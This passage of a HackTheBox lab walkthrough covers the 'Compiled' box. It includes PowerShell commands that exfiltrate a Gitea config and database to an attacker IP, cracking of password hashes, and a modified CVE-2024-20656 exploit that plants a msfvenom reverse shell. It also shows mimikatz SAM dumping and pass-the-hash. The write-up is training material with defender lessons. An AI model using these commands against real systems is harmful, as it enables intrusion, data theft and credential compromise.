Other than that, there are some static files and templates. Nothing important

Gitea configuration

We saw earlier from tasklist that gitea is running as an exe (as opposed to running as a docker instance). That means it’s probably registered as a service.

A quick look through the Gitea installation documentation gives us a list of things to check out:

  • Configuration file at [installation_dir]\custom\conf\app.ini
  • Possibly a database, which would be in [installation_dir]\data\gitea.db if it’s present

I found the gitea installation directory at C:\Program Files\gitea. As we had hoped, there is a configuration file in the expected location, C:\Program Files\gitea\custom\conf\app.ini:

👇 I’ve omitted a few sections that didn’t seem important:

RUN_USER = COMPILED\Richard
APP_NAME = Git
RUN_MODE = prod
WORK_PATH = C:\Program Files\gitea
# ...
[database]
DB_TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
PASSWD = 
SCHEMA = 
SSL_MODE = disable
PATH = C:\Program Files\gitea\data\gitea.db
LOG_SQL = false
# ...
[server]
SSH_DOMAIN = gitea.compiled.htb
DOMAIN = gitea.compiled.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.compiled.htb:3000/
APP_DATA_PATH = C:\Program Files\gitea/data
DISABLE_SSH = false
SSH_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = ten8FWelzw36S77bYSUGlVCmrZn4jncN1ekaH1NoXO4
OFFLINE_MODE = false
# ...
[log]
MODE = console
LEVEL = info
ROOT_PATH = C:/Program Files/gitea/log
# ...
[security]
INSTALL_LOCK = true
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MTY0MDEzMDR9.oQ3gsIgAi1_JTKKbw0lCKjwfcB3v7HvH6Wzb6M7dkE0
PASSWORD_HASH_ALGO = pbkdf2

[oauth2]
JWT_SECRET = XCXy54fFBqA-KAHA0Cjn5wp1gO4l-LY2-qgCS58VJO0

I also attempted to exfil this file, but was having issues with a regular curl upload:

curl -F "file=@.\app.ini" http://10.10.14.10:8000

To work around this I’ll just send the data as base64:

$b64 = [System.convert]::ToBase64String((Get-Content -Path app.ini -Encoding byte))
Invoke-WebRequest -Uri http://10.10.14.10:8000/?b64=$b64

☝️ My simple-http-server will automatically decode anything handed to it with the b64 parameter. Normally it also handles file uploads just fine, but something seems to not be working for that.

This file provides us with the database credentials and filepath, and the password hashing algorithm (pbkdf2). Let’s also exfiltrate the database. The database is roughly 2MB, so probably too large for a GET parameter. Let’s send it as a POST body instead:

simple-server 8000 -v | tee -a log.txt
cd ..\..\data
$b64 = [System.convert]::ToBase64String((Get-Content -Path gitea.db -Encoding byte))
Invoke-WebRequest -Uri http://10.10.14.10:8000/database -Method POST -Body $b64

Now there’s a bit of junk in the log.txt file. Only the final line is the base64 data. Also, there are two tab characters preceding the actual data - let’s fix all that:

tail -n 1 log.txt | sed 's/^..//' | base64 -d > gitea.db

gitea db exfiltrated

Alright, it looks like a valid database now. Let’s take a look inside:

sqlite3 gitea.db
# Make output formatting nicer
sqlite> .headers on
sqlite> .mode table
# Enumerate tables
sqlite> .tables
# There is a "user" table!
sqlite> .schema user

user table definition

Wow that’s a big table. Let’s just take the important data:

SELECT id,name,is_admin,passwd,salt,passwd_hash_algo FROM user;

user table contents

Great - let’s adjust that to make the data more conducive for copy-pasting:

.mode csv
.separator :
SELECT name,passwd,salt FROM user;  # copy to clipboard
.quit

Now I’ll paste that into gitea.hash and see if I can crack it. The passwd_hash_algo field indicates that this is using 50,000 rounds of SHA256 and outputing a key of length 50 - very computationally intensive! 😱

🤔 Unfortunately, I wasn’t able to get either john or hashcat to recognize the hashing format. Perhaps I need to transform the hash a bit - there were a few example-hashes in hashcat that were pretty close but not quite the same format..?

After a long time of messing around with different formats, I still couldn’t get either john or hashcat to recognize the format! To get around this, I wrote my own cracking program. Please go ahead and download that repo to try it out.

The whole rockyou.txt wordlist was a bit much for it (50,000 rounds!), so I thinned down the wordlist before running my program:

cd exploit
git clone https://github.com/4wayhandshake/Crack-PBKDF2-HMAC-SHA265.git
cd Crack-PBKDF2-HMAC-SHA265
PASSWDS=/usr/share/wordlists/rockyou.txt
head -n 10000 $PASSWDS > test_wordlist.txt
python3 crack_pbkdf2_hashes.py test_wordlist.txt ../../loot/gitea.hash

Thank goodness that HTB almost always uses passwords from rockyou. Otherwise, I wouldn’t even have a chance to crack this password…

After a few seconds, we have a result!

found password

We found a gitea credential - emily : 12345678. What a terrible password 😂

We saw earlier that Emily is a member of Remote Management Users; with a little luck, emily will have re-used this password for WinRM:

evil-winrm -i $RADDR -u 'emily' -p '12345678'

got winrm

😁 Alright! We now have a way to log in without re-exploiting the target. Plus, we already suspect that Emily has the user flag:

user flag

There it is. Read it for some points, and we’ll move on to privesc:

type C:\Users\Emily\Desktop\user.txt

ROOT FLAG

Local enumeration - Emily

Manual Enum

Let’s check the privileges that Emily has:

whoami /priv

emily privs

I like to perform a little bit of manual enumeration before I jump into an automatic tool, so I’ll run through my usual list:

  • net users
  • net user emily
  • networking stuff (are we in a Docker container?)
    • ipconfig /all
    • route print
    • arp -A
  • netstat -ano (Any listeners only exposed locally?)
  • tasklist
  • schtasks /query /fo LIST /v (Check for scheduled processes. Usually just read the top 10)
  • findstr /si "password" C:\Users\Emily\*.txt C:\Users\Emily\*.ini C:\Users\Emily\*.config (basically grep -iR password C:\Users\Emily)

We see something a little interesting in the schtasks /query call:

# Cleanup script:
C:\Windows\System32\cmd.exe /c C:\Users\Richard\Documents\cleanup.bat
# Clone.sh (checked it out earlier):
C:\Program Files\Git\git-bash.exe" "C:\Users\Richard\Documents\clone.sh
# Flask server on port 5000
"C:\Program Files\Python312\python.exe" \app\app.py
# Visual Studio ..?
C:\Program Files (x86)\Microsoft Visual Studio\Installer\resources\app\ServiceHub\Services\Microsoft.VisualStudio.Setup.Service\BackgroundDownload.exe

It shouldn’t be a huge surprise that the box is running Visual Studio, but it’s definitely odd. Let’s take a mental note of this and move on.

💡 Often, performing manual enumeration is all about finding the “odd” things. These are the things that set the box apart from a typical baseline installation, and might be misconfigured!

Keeping this mindset will help you generate a short to-do list for the rest of your privesc investigation

Next I’ll check for interesting files. We can see Emily has a folder for Visual Studio in her Documents:

visual studio in Documents

Automatic Enum

The target host seems perfectly accepting of downloading exe files, so I’ll grab a few handy tools:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.10:8000/winPEASany.exe','C:\Users\Emily\Downloads\winPEAS.exe')
(New-Object Net.WebClient).DownloadFile('http://10.10.14.10:8000/Ghostpack-CompiledBinaries/SharpUp.exe', 'C:\Users\Emily\Downloads\SharpUp.exe')

WinPEAS points out that Emily has accessed some interesting things recently, including powershell, the task scheduler, and services.msc:

recent commands

Let’s check out services.msc to see the running services, and see what Emily has been up to:

services.msc

Visual studio service running

OK, we just found a service related to Visual Studio. Again, it’s not entirely unexpected, it’s just a little weird. Let’s do a quick Google search to see if anything comes up.

A search for “Visual Studio VSStandardCollectorService150 privilege escalation exploit CVE” leads us straight to an article talking about how to privesc based on that program 😮

CVE-2024-20656

Research

Apparently, there’s a flaw in Visual Studio that affects how directories are linked to each other, or something..? It’s not super clear. I don’t have a very deep background in this stuff. Thankfully though, the author left a PoC on Github.

😬 The downside is that the PoC must be an actual Visual Studio project: there’s not going to be any way around using Windows to get this working.

Modify and Compile

I don’t have any Windows system available, unfortunately. It sure is frustrating when there’s no way to work around using Windows!

Thankfully, I found some kind and generous person (@malvik) who took the above PoC and compiled it for me. He had to change the version to Visual Studio 2019, and the payload was modified as indicated below 👇

The payload itself is hardcoded within the cb1() function. In the PoC, this copies cmd.exe to overwrite MofCompiler.exe (then runs it), but we have changed the payload to run a reverse shell instead.

void cb1()
{
    printf("[*] Oplock!\n");
    while (!Move(hFile2)) {}
    printf("[+] File moved!\n");
    CopyFile(L"c:\\programdata\\revshell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
    finished = TRUE;
}

For this to do anything, we must create a program to open a reverse shell, serve the reverse shell to the target, then open the reverse shell listener:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe -o revshell.exe
sudo ufw allow from $RADDR to any port 4444
bash
rlwrap nc -lvnp 4444

Let’s toss the exploit Expl.exe and revshell.exe into C:\ProgramData and try running it:

upload Expl.exe
upload revshell.exe
.\Expl.exe

payload didnt go brr

We see [+] Persmissions successfully reseted!, but we don’t actually see the payload in cb1() firing…

Maybe it’s a permissions thing? Sometimes, we can’t run everything directly out of WinRM - we need to explicitly run it as the user:

upload RunasCs.exe
.\RunasCs.exe emily 12345678 ".\Expl.exe"

Bingo! That did the trick. The print statements inside cb1() are now visible - that’s a really good sign:

payload worked

😁 ​Checking our reverse shell listener, we see that the exploit had the desired effect:

reverse shell as admin

The flag is in the usual spot. Just type it out to finish off the box:

type C:\Users\Administrator\Desktop\root.txt

🎉 Awesome! So glad to be done this one.

CLEANUP

Target

I’ll get rid of all the tools I transferred to the box

del "C:\Users\Emily\Downloads\*.*"
del "C:\ProgramData\Expl.exe"
del "C:\ProgramData\revshell.exe"

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm loot/gitea.db loot/gitea.hash

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

EXTRA CREDIT: FULL PWN

Mimikatz (lsadump::sam)

Transferred mimikatz.exe to the target box using my Emily WinRM connection, via my HTTP server.

Note that this is the copy of mimikatz from kali: /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe

(New-Object Net.WebClient).DownloadFile('http://10.10.14.14:8000/mimikatz.exe', 'C:\ProgramData\mimikatz.exe')

Then, using the administrator reverse shell, we run mimikatz.exe:

.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"

Since we’re administrator, we get a dump of ALL of the hashes (including, of course, administrator itself) 🤑

mimikatz

💰 We can now use the NTLM hash in lieu of a password, and ditch our reverse shell for a fancy WinRM connection:

evil-winrm -i compiled.htb -u administrator -H f75c95bc[...................]938061e

administrator PTH

LESSONS LEARNED

two crossed swords

Attacker

  • 🤡 Keep RunasCs.exe handy. If you get permission errors, try using RunasCs. Heck, if something just doesn’t run like you think it should, try using RunasCs.
  • 📂 Use evil-winrm for file transfer. I don’t use meterpreter very often, so personally I forget that people don’t transfer files over SMB and HTTP all the time. It’s quick and really easy - just do it!
  • 📚 Spend a minute or two researching every “odd” thing. Even if it seems inconsequential, like the presence of Visual Studio, just do one quick google search on the version number, service name, etc… There’s a good chance that you’re following in the footsteps of a skilled security researcher!
two crossed swords

Defender

  • 💪 Strong hashing is worthless if you’re still using weak passwords. On this box, we recovered hashes for three unknown passwords from the gitea database. The hashing algorithm that they used definitely follow best-practices, but Emily’s password was terrible. As a result, we were able to crack the password within a matter of seconds despite the very strong hashing.

  • 🕐 Keep your dev software updated. I know it sounds like a cheap-shot to say “keep all your things updated all the time”, but on this box we encountered git that was several minor versions behind, and a copy of Visual Studio that was at least four years out of date! No excuses for that level of sluggishness ☝️


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake